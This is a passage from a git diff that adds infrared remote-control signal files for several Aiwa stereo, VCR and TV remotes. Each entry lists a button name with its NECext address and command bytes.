6E 00 00 00 +command: 1E 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 40 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 41 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 42 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 43 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 44 00 00 00 +# +name: T-BASS +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 47 00 00 00 +# +name: GEQ +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 49 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4E 00 00 00 +# +name: DDP_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 51 00 00 00 +# +name: DDP_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 52 00 00 00 +# +name: DDP_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 53 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-8AS04/110,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-8AS04/110,0.ir new file mode 100644 index 000000000..3468045f2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-8AS04/110,0.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 11 00 00 00 +# +name: MONO +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 12 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 13 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 15 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 17 00 00 00 +# +name: PGRM +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 19 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1B 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1C 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 40 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 41 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 42 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 43 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 44 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 45 00 00 00 +# +name: BASS +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 47 00 00 00 +# +name: GEQ +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 49 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4E 00 00 00 +# +name: MANUAL +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 58 00 00 00 +# +name: DOLBY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 6A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-8AT02/110,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-8AT02/110,0.ir new file mode 100644 index 000000000..425b6cc3c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-8AT02/110,0.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 11 00 00 00 +# +name: MODE_TUNER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 12 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 15 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 16 00 00 00 +# +name: EDIT/CHECK +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 17 00 00 00 +# +name: PRGM +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 19 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1C 00 00 00 +# +name: FUNCTION +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1E 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 40 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 41 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 42 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 43 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 44 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 45 00 00 00 +# +name: T-BASS +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 47 00 00 00 +# +name: EQ +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 49 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-AVT02/123,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-AVT02/123,0.ir new file mode 100644 index 000000000..b051bd09c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-AVT02/123,0.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 0A 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 13 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 18 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 19 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 1B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 40 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 41 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 43 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 4A 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 4B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 4E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 4F 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: 90 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: C4 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 7B 00 00 00 +command: DC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-BVR02/110,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-BVR02/110,-1.ir new file mode 100644 index 000000000..f2c5d8998 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-BVR02/110,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 00 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0C 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 14 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 15 00 00 00 +# +name: menu/i +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1C 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1F 00 00 00 +# +name: child-lock +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 3F 00 00 00 +# +name: viss +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 41 00 00 00 +# +name: showview +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 47 00 00 00 +# +name: speed +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 48 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 56 00 00 00 +# +name: a-tr +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 5F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 82 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 83 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 89 00 00 00 +# +name: ok/clk/cnt +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 8E 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 90 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: B3 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: B5 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: BA 00 00 00 +# +name: otpb +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: BF 00 00 00 +# +name: ad-skip +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: DD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-C105/118,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-C105/118,0.ir new file mode 100644 index 000000000..b6bb077d0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-C105/118,0.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 0A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 0B 00 00 00 +# +name: Prog +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 0D 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 15 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 18 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 19 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 1A 00 00 00 +# +name: Rep/Rand +type: parsed +protocol: NECext +address: 76 00 00 00 +command: 1B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-CAS10/110,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-CAS10/110,0.ir new file mode 100644 index 000000000..d4b3fa9db --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-CAS10/110,0.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0A 00 00 00 +# +name: Plus10 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: Deck +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1B 00 00 00 +# +name: Band +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1C 00 00 00 +# +name: Function +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1E 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 40 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 41 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 42 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 43 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 44 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 46 00 00 00 +# +name: Bass +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 47 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4E 00 00 00 +# +name: Treble +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 57 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 5F 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 73 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 85 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 86 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-L01/112,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-L01/112,0.ir new file mode 100644 index 000000000..2bca4ebf5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-L01/112,0.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 00 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 0C 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 0D 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 12 00 00 00 +# +name: band +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 13 00 00 00 +# +name: tape_play +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 14 00 00 00 +# +name: tape_stop +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 15 00 00 00 +# +name: tape_next +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 16 00 00 00 +# +name: tape_prev +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 17 00 00 00 +# +name: tape_rec +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 18 00 00 00 +# +name: tape_pause +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 19 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 1F 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 40 00 00 00 +# +name: tunermode +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 4E 00 00 00 +# +name: repet +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 51 00 00 00 +# +name: memory +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 52 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 53 00 00 00 +# +name: t-standby +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 5A 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 5D 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 80 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 91 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 92 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 93 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 94 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 95 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 96 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 97 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 98 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 99 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 9A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 70 00 00 00 +command: 9B 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 70 00 00 00 +command: C4 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 70 00 00 00 +command: C5 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 70 00 00 00 +command: C6 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 70 00 00 00 +command: C7 00 00 00 +# +name: dimmer +type: parsed +protocol: NECext +address: 70 00 00 00 +command: CD 00 00 00 +# +name: tray +type: parsed +protocol: NECext +address: 70 00 00 00 +command: CF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-L60E/110,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-L60E/110,0.ir new file mode 100644 index 000000000..163be3ce2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-L60E/110,0.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0A 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 11 00 00 00 +# +name: mode_tuner +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 12 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 15 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 16 00 00 00 +# +name: cd_edit/remain +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 17 00 00 00 +# +name: prgm +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 19 00 00 00 +# +name: band +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1C 00 00 00 +# +name: function +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1E 00 00 00 +# +name: preset +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 40 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 41 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 42 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 43 00 00 00 +# +name: set +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 44 00 00 00 +# +name: set +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 45 00 00 00 +# +name: geq +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 49 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 4E 00 00 00 +# +name: vocal_fader +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 50 00 00 00 +# +name: phrase_repeat +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 5A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-T503/110,0.ir b/assets/resources/infrared/_CSV-IRDB_/Aiwa/Unknown_RC-T503/110,0.ir new file mode 100644 index 000000000..e13a2927a --- /dev/null 